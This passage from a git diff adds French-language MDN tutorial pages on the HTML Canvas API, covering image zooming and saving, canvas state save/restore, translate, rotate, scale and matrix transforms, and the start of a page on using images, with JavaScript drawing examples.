+<p><span id="result_box" lang="fr"><span>A l'aide de la méthode {{domxref ("CanvasRenderingContext2D.drawImage", "drawImage ()")}}, un deuxième canevas, et la propriété </span></span> {{domxref("CanvasRenderingContext2D.imageSmoothingEnabled", "imageSmoothingEnabled")}} , nous pouvons<span lang="fr"><span> zoomer sur notre image et voir les détails.</span></span></p>
+
+<p><span id="result_box" lang="fr"><span>Nous obtenons la position de la souris et recadrons une image de 5 pixels à gauche et au-dessus à 5 pixels à droite et en-dessous.</span> <span>Ensuite, nous copions celle-ci sur un autre canevas et redimensionnons l'image à la taille que nous voulons.</span> <span>Dans la zone de zoom, nous redimensionnons une zone de 10 × 10 pixels du canevas d'origine à 200 × 200.</span></span></p>
+
+<pre class="brush: js notranslate">zoomctx.drawImage(canvas,
+                  Math.abs(x - 5), Math.abs(y - 5),
+                  10, 10, 0, 0, 200, 200);</pre>
+
+<p><span id="result_box" lang="fr"><span>Étant donné que l'anticrénelage est activé par défaut, nous pouvons désactiver le lissage pour voir les pixels clairs.</span> <span>Vous pouvez basculer la case à cocher pour voir l'effet de la propriété <code>imageSmoothingEnabled</code> (qui a besoin de préfixes pour différents navigateurs).</span></span></p>
+
+<h6 class="hidden" id="Zoom_example">Zoom example</h6>
+
+<div class="hidden">
+<pre class="brush: html; notranslate">&lt;canvas id="canvas" width="300" height="227"&gt;&lt;/canvas&gt;
+&lt;canvas id="zoom" width="300" height="227"&gt;&lt;/canvas&gt;
+&lt;div&gt;
+&lt;label for="smoothbtn"&gt;
+  &lt;input type="checkbox" name="smoothbtn" checked="checked" id="smoothbtn"&gt;
+  Enable image smoothing
+&lt;/label&gt;
+&lt;/div&gt;
+</pre>
+</div>
+
+<pre class="brush: js notranslate">var img = new Image();
+img.src = 'https://mdn.mozillademos.org/files/5397/rhino.jpg';
+img.onload = function() {
+  draw(this);
+};
+
+function draw(img) {
+  var canvas = document.getElementById('canvas');
+  var ctx = canvas.getContext('2d');
+  ctx.drawImage(img, 0, 0);
+  img.style.display = 'none';
+  var zoomctx = document.getElementById('zoom').getContext('2d');
+
+  var smoothbtn = document.getElementById('smoothbtn');
+  var toggleSmoothing = function(event) {
+    zoomctx.imageSmoothingEnabled = this.checked;
+    zoomctx.mozImageSmoothingEnabled = this.checked;
+    zoomctx.webkitImageSmoothingEnabled = this.checked;
+    zoomctx.msImageSmoothingEnabled = this.checked;
+  };
+  smoothbtn.addEventListener('change', toggleSmoothing);
+
+  var zoom = function(event) {
+    var x = event.layerX;
+    var y = event.layerY;
+    zoomctx.drawImage(canvas,
+                      Math.abs(x - 5),
+                      Math.abs(y - 5),
+                      10, 10,
+                      0, 0,
+                      200, 200);
+  };
+
+  canvas.addEventListener('mousemove', zoom);
+}</pre>
+
+<p>{{ EmbedLiveSample('Zoom_example', 620, 490) }}</p>
+
+<h2 id="Sauvegarde_des_images">Sauvegarde des images</h2>
+
+<p><span id="result_box" lang="fr"><span>L' {{domxref ("HTMLCanvasElement")}} fournit une méthode <code>toDataURL ()</code>, utile lors de l'enregistrement d'images.</span> <span>Il retourne un <a href="https://developer.mozilla.org/fr/docs/Web/HTTP/Basics_of_HTTP/Data_URIs">URI de données</a> contenant une représentation de l'image dans le format spécifié par le paramètre de <code>type</code> (par défaut en </span></span> <a class="external external-icon" href="https://en.wikipedia.org/wiki/Portable_Network_Graphics">PNG</a> <span lang="fr"><span>).</span> <span>L'image renvoyée est dans une résolution de 96 dpi.</span></span></p>
+
+<dl>
+ <dt>{{domxref("HTMLCanvasElement.toDataURL", "canvas.toDataURL('image/png')")}}</dt>
+ <dd>Par défaut. Crée un image PNG.</dd>
+ <dt>{{domxref("HTMLCanvasElement.toDataURL", "canvas.toDataURL('image/jpeg', quality)")}}</dt>
+ <dd><span id="result_box" lang="fr"><span>Crée une image JPG.</span> <span>En option, vous pouvez fournir une qualité comprise entre 0 et 1, 1 étant de la meilleure qualité et 0 presque non reconnaissable mais de petite taille.</span></span></dd>
+</dl>
+
+<p><span id="result_box" lang="fr"><span>Une fois que vous avez généré un URI de données à partir de votre canevas, vous pouvez l'utiliser comme source de {{HTMLElement ("image")}} ou le mettre dans un lien hypertexte avec un attribut de téléchargement pour l'enregistrer sur le disque par exemple.</span></span></p>
+
+<p><span id="result_box" lang="fr"><span>Vous pouvez également créer un {{domxref ("Blob")}} à partir du canevas.</span></span></p>
+
+<dl>
+ <dt>{{domxref("HTMLCanvasElement.toBlob", "canvas.toBlob(callback, type, encoderOptions)")}}</dt>
+ <dd><span id="result_box" lang="fr"><span>Crée un objet <code>Blob</code> représentant l'image contenue dans le canevas.</span></span></dd>
+</dl>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("ImageData")}}</li>
+ <li><a href="https://developer.mozilla.org/fr/docs/HTML/Manipulating_video_using_canvas">Manipulating video using canvas</a></li>
+ <li><a href="https://codepo8.github.io/canvas-images-and-pixels/">Canevas, images et pixels – par Christian Heilmann (en)</a></li>
+</ul>
+
+<p>{{PreviousNext("Tutoriel_canvas/Advanced_animations", "Web/API/Canvas_API/Tutorial/Hit_regions_and_accessibility")}}</p>
diff --git a/files/fr/web/api/canvas_api/tutoriel_canvas/transformations/index.html b/files/fr/web/api/canvas_api/tutoriel_canvas/transformations/index.html
new file mode 100644
index 0000000000..bf21fab4c8
--- /dev/null
+++ b/files/fr/web/api/canvas_api/tutoriel_canvas/transformations/index.html
@@ -0,0 +1,276 @@
+---
+title: Transformations
+slug: Web/API/Canvas_API/Tutoriel_canvas/Transformations
+tags:
+  - Canvas
+  - Graphismes
+  - Guide
+  - HTML
+  - Web
+translation_of: Web/API/Canvas_API/Tutorial/Transformations
+---
+<div>{{CanvasSidebar}} {{PreviousNext("Tutoriel_canvas/Utilisation_d'images", " Web/API/Canvas_API/Tutorial/Compositing ")}}</div>
+
+<div class="summary">Précédemment dans ce tutoriel, nous avons étudié la <a href="https://developer.mozilla.org/fr/docs/Tutoriel_canvas/Formes_g%C3%A9om%C3%A9triques">grille du canevas</a> et le <strong>système de coordonnées</strong>. Jusqu'à maintenant, nous avons uniquement utilisé la grille par défaut et modifié la taille de la globalité du canevas afin de répondre à nos besoins. Les transformations que nous allons aborder dans la suite vont nous permettre, de manière plus puissante, d'effectuer des déplacements et des rotations sur la grille et même d'effectuer des mises à l'échelle.</div>
+
+<h2 id="Sauvegarde_et_restauration_détat">Sauvegarde et restauration d'état</h2>
+
+<p>Avant d'étudier les méthodes de transformations, examinons deux autres méthodes qui vont être indispensables à partir du moment où l'on commence à créer des dessins complexes.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.save", "save()")}}</dt>
+ <dd>Sauvegarde l'état du canevas dans sa globalité.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.restore", "restore()")}}</dt>
+ <dd>Restore le plus récent état sauvegardé du canevas.</dd>
+</dl>
+
+<p>Les états du canevas sont stockés dans une pile. Chaque invocation de la méthode <code>save() </code>ajoute une copie de l'état courant du canevas en haut de la pile. L'état du dessin est constitué de :</p>
+
+<ul>
+ <li>les transformations qui ont été appliquées (exemples : déplacement, rotation, mise à l'échelle).</li>
+ <li>Les valeurs actuelles des attributs suivants : {{domxref("CanvasRenderingContext2D.strokeStyle", "strokeStyle")}}, {{domxref("CanvasRenderingContext2D.fillStyle", "fillStyle")}}, {{domxref("CanvasRenderingContext2D.globalAlpha", "globalAlpha")}}, {{domxref("CanvasRenderingContext2D.lineWidth", "lineWidth")}}, {{domxref("CanvasRenderingContext2D.lineCap", "lineCap")}}, {{domxref("CanvasRenderingContext2D.lineJoin", "lineJoin")}}, {{domxref("CanvasRenderingContext2D.miterLimit", "miterLimit")}}, {{domxref("CanvasRenderingContext2D.lineDashOffset", "lineDashOffset")}}, {{domxref("CanvasRenderingContext2D.shadowOffsetX", "shadowOffsetX")}}, {{domxref("CanvasRenderingContext2D.shadowOffsetY", "shadowOffsetY")}}, {{domxref("CanvasRenderingContext2D.shadowBlur", "shadowBlur")}}, {{domxref("CanvasRenderingContext2D.shadowColor", "shadowColor")}}, {{domxref("CanvasRenderingContext2D.globalCompositeOperation", "globalCompositeOperation")}}, {{domxref("CanvasRenderingContext2D.font", "font")}}, {{domxref("CanvasRenderingContext2D.textAlign", "textAlign")}}, {{domxref("CanvasRenderingContext2D.textBaseline", "textBaseline")}}, {{domxref("CanvasRenderingContext2D.direction", "direction")}}, {{domxref("CanvasRenderingContext2D.imageSmoothingEnabled", "imageSmoothingEnabled")}}.</li>
+ <li>Le chemin de découpe (<a href="/en-US/docs/Web/API/Canvas_API/Tutorial/Compositing#Clipping_paths">clipping path</a>) actuel, qu'on abordera plus loin.</li>
+</ul>
+
+<p>La méthode <code>save()</code> peut être invoquée autant de fois que nécessaire. Chaque appel de <code>restore()</code> enlève le dernier état sauvegardé de la pile et tous les paramètres sauvegardés sont restaurés.</p>
+
+<h3 id="Un_exemple_de_sauvegarde_et_de_restauration_de_l_état_du_canevas">Un exemple de sauvegarde et de restauration de l état du canevas</h3>
+
+<p>Cet exemple tente d'illustrer comment fonctionne la pile d'états de dessin en dessinant un ensemble de rectangles consécutifs.</p>
+
+<pre class="brush: js; highlight:[5,10,15,18] notranslate">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+
+  ctx.fillRect(0, 0, 150, 150);   // Dessine un rectangle avec les réglages par défaut
+  ctx.save();                  // Sauvegarde l'état par défaut
+
+  ctx.fillStyle = '#09F';      // Fait des changements de réglages
+  ctx.fillRect(15, 15, 120, 120); // Dessine un rectangle avec les nouveaux réglages
+
+  ctx.save();                  // Sauvegarde l'état actuel
+  ctx.fillStyle = '#FFF';      // Fait des changements de réglages
+  ctx.globalAlpha = 0.5;
+  ctx.fillRect(30, 30, 90, 90);   // Dessine un rectangle avec de nouveaux réglages
+
+  ctx.restore();               // Restaure l'état précédent
+  ctx.fillRect(45, 45, 60, 60);   // Dessine un rectangle avec les réglages restaurés
+
+  ctx.restore();               // Restaure l'état d'origine
+  ctx.fillRect(60, 60, 30, 30);   // Dessine un rectangle avec les réglages restaurés
+}</pre>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js notranslate">draw();</pre>
+</div>
+
+<p>La première étape consiste à dessiner un grand rectangle avec les paramètres par défaut. Ensuite, nous sauvegardons cet état et modifions la couleur de remplissage. Nous dessinons ensuite le deuxième rectangle bleu et mettons l'état de côté. Encore une fois, nous modifions certains paramètres de dessin et dessinons le troisième rectangle blanc semi-transparent.</p>
+
+<p>Jusqu'à présent, cela ressemble beaucoup à ce que nous avons fait dans les sections précédentes. Cependant, une fois que nous appelons la première instruction <code>restore()</code>, l'état de dessin supérieur est supprimé de la pile et les paramètres sont restaurés. Si nous n'avions pas sauvegardé l'état en utilisant <code>save ()</code>, nous devrions modifier manuellement la couleur de remplissage et la transparence afin de revenir à l'état précédent. Cela serait facile pour deux propriétés, mais si nous avons plus que cela, notre code deviendrait très long très rapidement.</p>
+
+<p>Lorsque la deuxième instruction <code>restore()</code> est appelée, l'état d'origine (celui que nous avons configuré avant le premier appel à enregistrer) est restauré et le dernier rectangle est de nouveau tracé en noir.</p>
+
+<p>{{EmbedLiveSample("Un_exemple_de_sauvegarde_et_de_restauration_de_l_état_du_canevas", "180", "180", "https://mdn.mozillademos.org/files/249/Canvas_savestate.png")}}</p>
+
+<h2 id="Déplacement">Déplacement</h2>
+
+<p><img alt="" class="internal" src="https://mdn.mozillademos.org/files/234/Canvas_grid_translate.png" style="float: right;"> La première des méthodes de transformation que nous examinerons est <code>translate ()</code>. Cette méthode est utilisée pour déplacer la toile et son origine vers un autre point de la grille.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.translate", "translate(x, y)")}}</dt>
+ <dd>Déplace la toile et son origine sur la grille. <code>x</code> indique la distance horizontale du déplacement, et <code>y</code> indique à quelle distance déplacer la grille verticalement.</dd>
+</dl>
+
+<p>C'est une bonne idée de sauvegarder l'état du canevas avant d'effectuer des transformations. Dans la plupart des cas, il est plus facile d'appeler la méthode <code>restore</code> que d'avoir à effectuer un déplacement inverse pour revenir à l'état d'origine. De même, si vous déplacez à l'intérieur d'une boucle et que vous ne sauvegardez pas et ne restaurez pas l'état du canevas, il se peut qu'une partie de votre dessin soit manquante, car elle a été dessinée en dehors du bord du canevas.</p>
+
+<h3 id="Un_exemple_translate">Un exemple <code>translate</code></h3>
+
+<p>Cet exemple montre certains des avantages du déplacement de l'origine du canevas. Sans la méthode<code> translate ()</code>, tous les rectangles seraient dessinés à la même position (0,0). La méthode <code>translate ()</code> nous donne également la liberté de placer le rectangle n'importe où sur le canevas sans avoir à ajuster manuellement les coordonnées dans la fonction <code>fillRect ()</code>. Cela le rend un peu plus facile à comprendre et à utiliser.</p>
+
+<p>Dans la fonction <code>draw ()</code>, nous appelons la fonction <code>fillRect ()</code> neuf fois en utilisant deux boucles <code>for</code> . Dans chaque boucle, le canevas est déplacé, le rectangle est dessiné et le canevas est retourné à son état d'origine. Notez comment l'appel à <code>fillRect ()</code> utilise les mêmes coordonnées à chaque fois, en s'appuyant sur <code>translate ()</code> pour ajuster la position du dessin.</p>
+
+<pre class="brush: js; highlight:[7] language-js notranslate">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+  for (var i = 0; i &lt; 3; i++) {
+    for (var j = 0; j &lt; 3; j++) {
+      ctx.save();
+      ctx.fillStyle = 'rgb(' + (51 * i) + ', ' + (255 - 51 * i) + ', 255)';
+      ctx.translate(10 + j * 50, 10 + i * 50);
+      ctx.fillRect(0, 0, 25, 25);
+      ctx.restore();
+    }
+  }
+}</pre>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js notranslate">draw();</pre>
+</div>
+
+<p>{{EmbedLiveSample("Un_exemple_translate", "160", "160", "https://mdn.mozillademos.org/files/9857/translate.png")}}</p>
+
+<h2 id="Rotation">Rotation</h2>
+
+<p><img alt="" class="internal" src="https://mdn.mozillademos.org/files/233/Canvas_grid_rotate.png" style="float: right;">La seconde méthode de transformation est <code>rotate()</code>. Nous l'utilisons pour faire pivoter le canevas autour de l'origine actuelle.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.rotate", "rotate(angle)")}}</dt>
+ <dd>Fait pivoter le canevas, dans le sens des aiguilles d'une montre autour de l'origine actuelle, par le nombre de radians de l'angle.</dd>
+</dl>
+
+<p>Le point central de rotation est toujours l'origine de la toile. Pour changer le point central, nous devrons déplacer le canevas en utilisant la méthode <code>translate ()</code>.</p>
+
+<h3 id="Un_exemple_rotate">Un exemple <code>rotate</code></h3>
+
+<p>Dans cet exemple, nous utiliserons la méthode <code>rotate ()</code> pour faire d'abord tourner un rectangle à partir de l'origine du canevas, puis du centre du rectangle lui-même à l'aide de <code>translate ()</code>.</p>
+
+<div class="note">
+<p><strong>Rappel :</strong> Les angles sont en radians, pas en degrés. Pour convertir en degrés, nous utilisons : <code>radians = (Math.PI/180)*degrees</code>.</p>
+</div>
+
+<pre class="brush: js; highlight:[9, 23] notranslate">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+
+  // rectangles de gauche, rotation depuis l'origine du canevas
+  ctx.save();
+  // rectangle bleu
+  ctx.fillStyle = '#0095DD';
+  ctx.fillRect(30, 30, 100, 100);
+  ctx.rotate((Math.PI / 180) * 25);
+  // rectangle gris
+  ctx.fillStyle = '#4D4E53';
+  ctx.fillRect(30, 30, 100, 100);
+  ctx.restore();
+
+  // rectangles de droite, rotation depuis le centre du rectangle
+  // dessine le rectangle bleu
+  ctx.fillStyle = '#0095DD';
+  ctx.fillRect(150, 30, 100, 100);
+
+  ctx.translate(200, 80); // déplace au centre du rectangle
+                          // x = x + 0.5 * width
+                          // y = y + 0.5 * height
+  ctx.rotate((Math.PI / 180) * 25); // rotation
+  ctx.translate(-200, -80); // déplace en arrière
+
+  // dessine le rectangle gris
+  ctx.fillStyle = '#4D4E53';
+  ctx.fillRect(150, 30, 100, 100);
+}</pre>
+
+<p>Pour faire pivoter le rectangle autour de son propre centre, nous déplaçons le canevas au centre du rectangle, puis faisons pivoter le canevas, puis le déplaçons à 0,0, puis dessinons le rectangle.</p>
+
+<div class="hidden">
+<pre class="brush: html line-numbers notranslate">&lt;canvas id="canvas" width="300" height="200"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js notranslate">draw();</pre>
+</div>
+
+<p>{{EmbedLiveSample("Un_exemple_rotate", "310", "210", "https://mdn.mozillademos.org/files/9859/rotate.png")}}</p>
+
+<h2 id="Mise_à_léchelle">Mise à l'échelle</h2>
+
+<p>La méthode de transformation suivante est la mise à l'échelle. Nous l'utilisons pour augmenter ou diminuer les unités de notre grille de canevas. Cela peut être utilisé pour dessiner des formes ou des bitmaps réduits ou agrandis.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.scale", "scale(x, y)")}}</dt>
+ <dd>Met à l'échelle les unités du canevas avec x horizontalement et y verticalement. Les deux paramètres sont des nombres réels. Les valeurs inférieures à 1,0 réduisent la taille de l'unité et les valeurs supérieures à 1,0 augmentent la taille de l'unité. Les valeurs 1.0 laissent les unités à la même taille.</dd>
+</dl>
+
+<p>En utilisant des nombres négatifs, vous pouvez faire une mise en miroir d'axe (par exemple en utilisant <code>translate (0, canvas.height), scale (1, -1)</code>, vous aurez le système de coordonnées cartésien bien connu, avec l'origine dans le coin inférieur gauche).</p>
+
+<p>Par défaut, une unité sur la toile est exactement un pixel. Si nous appliquons, par exemple, un facteur d'échelle de 0,5, l'unité résultante deviendrait 0,5 pixels et ainsi les formes seraient dessinées à la moitié de la taille. De la même façon, si nous définissons le facteur d'échelle sur 2.0, la taille de l'unité augmentera et une unité deviendra deux pixels. Cela donne des formes dessinées deux fois plus grandes.</p>
+
+<h3 id="Un_exemple_scale">Un exemple <code>scale</code></h3>
+
+<p>Dans ce dernier exemple, nous allons dessiner des  formes avec différents facteurs d'échelle.</p>
+
+<pre class="brush: js; highlight:[6,11] notranslate">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+
+  // dessine un rectangle simple, mais le met à l'échelle.
+  ctx.save();
+  ctx.scale(10, 3);
+  ctx.fillRect(1, 10, 10, 10);
+  ctx.restore();
+
+  // mirror horizontally
+  ctx.scale(-1, 1);
+  ctx.font = '48px serif';
+  ctx.fillText('MDN', -135, 120);
+}</pre>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js line-numbers  language-js notranslate">draw();</pre>
+</div>
+
+<p>{{EmbedLiveSample("Un_exemple_scale", "160", "160", "https://mdn.mozillademos.org/files/9861/scale.png")}}</p>
+
+<h2 id="Transformation">Transformation</h2>
+
+<p>Enfin, les méthodes de transformation suivantes appliquent des modifications directement à la matrice de transformation.</p>
+
+<dl>
+ <dt>{{domxref("CanvasRenderingContext2D.transform", "transform(a, b, c, d, e, f)")}}</dt>
+ <dd>Multiplie la matrice de transformation actuelle avec la matrice décrite par ses arguments. La matrice de transformation est décrite par : <math><semantics><mrow><mo>[</mo><mtable columnalign="center center center" rowspacing="0.5ex"><mtr><mtd><mi>a</mi></mtd><mtd><mi>c</mi></mtd><mtd><mi>e</mi></mtd></mtr><mtr><mtd><mi>b</mi></mtd><mtd><mi>d</mi></mtd><mtd><mi>f</mi></mtd></mtr><mtr><mtd><mn>0</mn></mtd><mtd><mn>0</mn></mtd><mtd><mn>1</mn></mtd></mtr></mtable><mo>]</mo></mrow><annotation encoding="TeX">\left[ \begin{array}{ccc} a &amp; c &amp; e \\ b &amp; d &amp; f \\ 0 &amp; 0 &amp; 1 \end{array} \right]</annotation></semantics></math></dd>
+</dl>
+
+<dl>
+ <dd>Si l'un des arguments est <code>infini</code>, la matrice de transformation doit être marquée comme infinie, plutôt que d'utiliser la méthode qui lance une exception.</dd>
+</dl>
+
+<p>Les paramètres de cette fonction sont :</p>
+
+<dl>
+ <dt><code>a (m11)</code></dt>
+ <dd>Mise à l'échelle horizontale.</dd>
+ <dt><em><code>b (m12)</code></em></dt>
+ <dd>Inclinaison horizontale.</dd>
+ <dt><code>c (m21)</code></dt>
+ <dd>Inclinaison verticale.</dd>
+ <dt><code>d (m22)</code></dt>
+ <dd>Mise à l'échelle verticale.</dd>
+ <dt><code>e (dx)</code></dt>
+ <dd>Déplacement horizontal.</dd>
+ <dt><code>f (dy)</code></dt>
+ <dd>Déplacement vertical.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.setTransform", "setTransform(a, b, c, d, e, f)")}}</dt>
+ <dd>Réinitialise la transformation en cours dans la matrice d'identité, puis appelle la méthode <code>transform ()</code> avec les mêmes arguments. Cela défait la transformation en cours, puis définit la transformation spécifiée, le tout en une seule étape.</dd>
+ <dt>{{domxref("CanvasRenderingContext2D.resetTransform", "resetTransform()")}}</dt>
+ <dd>Réinitialise la transformation en cours à la matrice d'identité. C'est la même chose que d'appeler : <code>ctx.setTransform (1, 0, 0, 1, 0, 0)</code>;</dd>
+</dl>
+
+<h3 id="Exemple_pour_transform_et_setTransform">Exemple pour <code>transform</code> et <code>setTransform</code></h3>
+
+<pre class="brush: js; highlight:[12,15] notranslate">function draw() {
+  var ctx = document.getElementById('canvas').getContext('2d');
+
+  var sin = Math.sin(Math.PI / 6);
+  var cos = Math.cos(Math.PI / 6);
+  ctx.translate(100, 100);
+  var c = 0;
+  for (var i = 0; i &lt;= 12; i++) {
+    c = Math.floor(255 / 12 * i);
+    ctx.fillStyle = 'rgb(' + c + ', ' + c + ', ' + c + ')';
+    ctx.fillRect(0, 0, 100, 10);
+    ctx.transform(cos, sin, -sin, cos, 0, 0);
+  }
+
+  ctx.setTransform(-1, 0, 0, 1, 100, 100);
+  ctx.fillStyle = 'rgba(255, 128, 255, 0.5)';
+  ctx.fillRect(0, 50, 100, 100);
+}</pre>
+
+<div class="hidden">
+<pre class="brush: html notranslate">&lt;canvas id="canvas" width="200" height="250"&gt;&lt;/canvas&gt;</pre>
+
+<pre class="brush: js notranslate">draw();</pre>
+</div>
+
+<p>{{EmbedLiveSample("Exemple_pour_transform_et_setTransform", "230", "280", "https://mdn.mozillademos.org/files/255/Canvas_transform.png")}}</p>
+
+<p>{{PreviousNext("Tutoriel_canvas/Utilisation_d'images", "Tutoriel_canvas/Composition")}}</p>
diff --git a/files/fr/web/api/canvas_api/tutoriel_canvas/utilisation_d'images/index.html b/files/fr/web/api/canvas_api/tutoriel_canvas/utilisation_d'images/index.html
new file mode 100644
index 0000000000..50a286e0fa
--- /dev/null
+++ b/files/fr/web/api/canvas_api/tutoriel_canvas/utilisation_d'images/index.html
@@ -0,0 +1,320 @@
+---
+title: Utilisation d'images
+slug: Web/API/Canvas_API/Tutoriel_canvas/Utilisation_d'images
+tags:
+  - Canvas
+  - Graphismes
+  - HTML
+  - Tutoriels
+translation_of: Web/API/Canvas_API/Tutorial/Using_images
+---
+<p>{{CanvasSidebar}} {{PreviousNext("Dessin_de_texte_avec_canvas", "Tutoriel_canvas/Transformations" )}}</p>
+
+<p class="summary">Jusqu'à présent, nous avons créé nos propres <a href="https://developer.mozilla.org/fr/docs/Tutoriel_canvas/Formes_g%C3%A9om%C3%A9triques">formes</a> et <a href="https://developer.mozilla.org/fr/docs/Tutoriel_canvas/Ajout_de_styles_et_de_couleurs">styles appliqués</a>. L'une des fonctionnalités les plus intéressantes de {{HTMLElement ("canvas")}} est la possibilité d'utiliser des images. Celles-ci peuvent être utilisées pour faire de la composition dynamique de photos ou comme décors de graphes, pour des "sprites" dans des jeux, et ainsi de suite. Les images externes peuvent être utilisées dans n'importe quel format pris en charge par le navigateur, comme PNG, GIF ou JPEG. Vous pouvez même utiliser l'image produite par d'autres éléments du canevas sur la même page comme source !</p>
+
+<p>L'importation d'images est un processus en deux étapes :</p>
+
+<ol>
+ <li><span id="result_box" lang="fr"><span>obtenez une référence à un objet {{domxref ("HTMLImageElement")}} ou à un autre élément canvas en tant que source.</span> <span>Il est également possible d'utiliser des images en fournissant une URL.</span></span></li>
+ <li>l'image est dessinée sur le canevas à l'aide de la fonction <code>drawImage()</code> .</li>
+</ol>
+
+<p><span class="short_text" id="result_box" lang="fr"><span>Jetons un oeil à la façon de le faire.</span></span></p>
+
+<h2 id="Obtenir_des_images_à_dessiner"><span class="short_text" id="result_box" lang="fr"><span>Obtenir des images à dessiner</span></span></h2>
+
+<p><span id="result_box" lang="fr"><span>L'API Canvas peut utiliser l'un des types de données suivants comme source d'image :</span></span></p>
+
+<dl>
+ <dt>{{domxref("HTMLImageElement")}}</dt>
+ <dd><span id="result_box" lang="fr"><span>Il s'agit d'images créées à l'aide du constructeur </span></span> <code>Image()</code> <span lang="fr"><span>, ainsi que de tout élément {{HTMLElement ("img")}}.</span></span></dd>
+ <dt>{{domxref("SVGImageElement")}}</dt>
+ <dd><span id="result_box" lang="fr"><span>Ce sont des images incorporées en utilisant l'élément {{SVGElement ("image")}}.</span></span></dd>
+ <dt>{{domxref("HTMLVideoElement")}}</dt>
+ <dd><span id="result_box" lang="fr"><span>L'utilisation d'un élément HTML </span></span> {{HTMLElement("video")}} <span lang="fr"><span> comme source d'image capture l'image actuelle de la vidéo et l'utilise comme une image.</span></span></dd>
+ <dt>{{domxref("HTMLCanvasElement")}}</dt>
+ <dd><span id="result_box" lang="fr"><span>Vous pouvez utiliser un autre élément </span></span> {{HTMLElement("canvas")}} <span lang="fr"><span> comme source d'image.</span></span></dd>
+</dl>
+
+<p><span id="result_box" lang="fr"><span>Ces sources sont collectivement référencées par le type {{domxref ("CanvasImageSource")}}.</span></span></p>
+
+<p><span id="result_box" lang="fr"><span>Il existe plusieurs façons d'obtenir des images pour une utilisation sur une toile.</span></span></p>
+
+<h3 id="Utilisation_d.27images_pr.C3.A9sentes_sur_la_m.C3.AAme_page" name="Utilisation_d.27images_pr.C3.A9sentes_sur_la_m.C3.AAme_page">Utilisation d'images présentes sur la même page</h3>
+
+<p><span id="result_box" lang="fr"><span>Nous pouvons obtenir une référence aux images sur la même page que le canevas en utilisant l'un des éléments suivants :</span></span></p>
+
+<ul>
+ <li>la collection {{domxref("document.images")}} ;</li>
+ <li>la méthode {{domxref("document.getElementsByTagName()")}} ;</li>
+ <li>si vous connaissez l'ID de l'image spécifique que vous souhaitez utiliser, vous pouvez utiliser  {{domxref("document.getElementById()")}} pour retrouver cette image.</li>
+</ul>
+
+<h3 id="Utilisation_dimages_dun_autre_domaine"><span lang="fr"><span>Utilisation d'images d'un autre domaine</span></span></h3>
+
+<p><span id="result_box" lang="fr"><span>En utilisant l'attribut {{htmlattrxref ("crossorigin", "img")}} d'un élément {{HTMLElement ("img")}} (reflété par la propriété </span></span> {{domxref("HTMLImageElement.crossOrigin")}}), vous <span lang="fr"> <span>pouvez demander la permission de charger une image d'un autre domaine pour l'utiliser dans votre appel à <code>drawImage ()</code>.</span> <span>Si le domaine d'hébergement permet un accès interdomaine à l'image, l'image peut être utilisée dans votre canevas sans l'altérer;</span> <span>sinon utiliser l'image va <a href="https://developer.mozilla.org/fr/docs/Web/HTML/Images_avec_le_contr%C3%B4le_d_acc%C3%A8s_HTTP#What_is_a_.22tainted.22_canvas.3F">souiller le canevas</a>.</span></span></p>
+
+<h3 id="Utilisation_d.27autres_.C3.A9l.C3.A9ments_canvas" name="Utilisation_d.27autres_.C3.A9l.C3.A9ments_canvas">Utilisation d'autres éléments canvas</h3>
+
+<p><span id="result_box" lang="fr"><span>Comme pour les images normales, nous accédons aux autres éléments Canvas en utilisant la méthode {{domxref ("document.getElementsByTagName ()")}} ou {{domxref ("document.getElementById ()")}}.</span> <span>Assurez-vous d'avoir dessiné quelque chose sur le canevas source avant de l'utiliser dans votre canevas cible.</span></span></p>
+
+<p>Une des utilisations les plus pratiques de cette fonctionnalité serait d'utiliser un second élément canvas comme aperçu de taille réduite d'un canevas de grande taille.</p>
+
+<h3 id="Cr.C3.A9ation_d.27une_image_.C3.A0_partir_de_rien" name="Cr.C3.A9ation_d.27une_image_.C3.A0_partir_de_rien">Création d'une image à partir de rien</h3>
+
+<p>Une autre option est de créer de nouveaux objets {{domxref("HTMLImageElement")}} dans le script même. Pour ce faire, vous pouvez utiliser le constructeur <code>Image().</code></p>
+
+<pre class="eval notranslate">var img = new Image();   // Crée un nouvel élément Image
+img.src = 'myImage.png'; // Définit le chemin vers sa source
+</pre>
+
+<p>Lorsque ce script est exécuté, l'image commence à être chargée.</p>
+
+<p><span id="result_box" lang="fr"><span>Si vous essayez d'appeler <code>drawImage ()</code> avant le chargement de l'image, il ne fera rien (ou, dans les anciens navigateurs, cela peut même déclencher une exception).</span> <span>Vous devez donc être sûr d'utiliser l'événement <code>load</code> pour ne pas essayer avant que l'image ne soit chargée :</span></span></p>
+
+<pre class="brush: js line-numbers  language-js notranslate"><code class="language-js"><span class="keyword token">var</span> img <span class="operator token">=</span> <span class="keyword token">new</span> <span class="class-name token">Image</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span>   <span class="comment token">// Crée un nouvel élément img</span>
+img<span class="punctuation token">.</span><span class="function token">addEventListener</span><span class="punctuation token">(</span><span class="string token">'load'</span><span class="punctuation token">,</span> <span class="keyword token">function</span><span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+  <span class="comment token">// </span></code> <span class="short_text" id="result_box" lang="fr"><span>exécute les instructions drawImage ici</span></span> <code class="language-js">
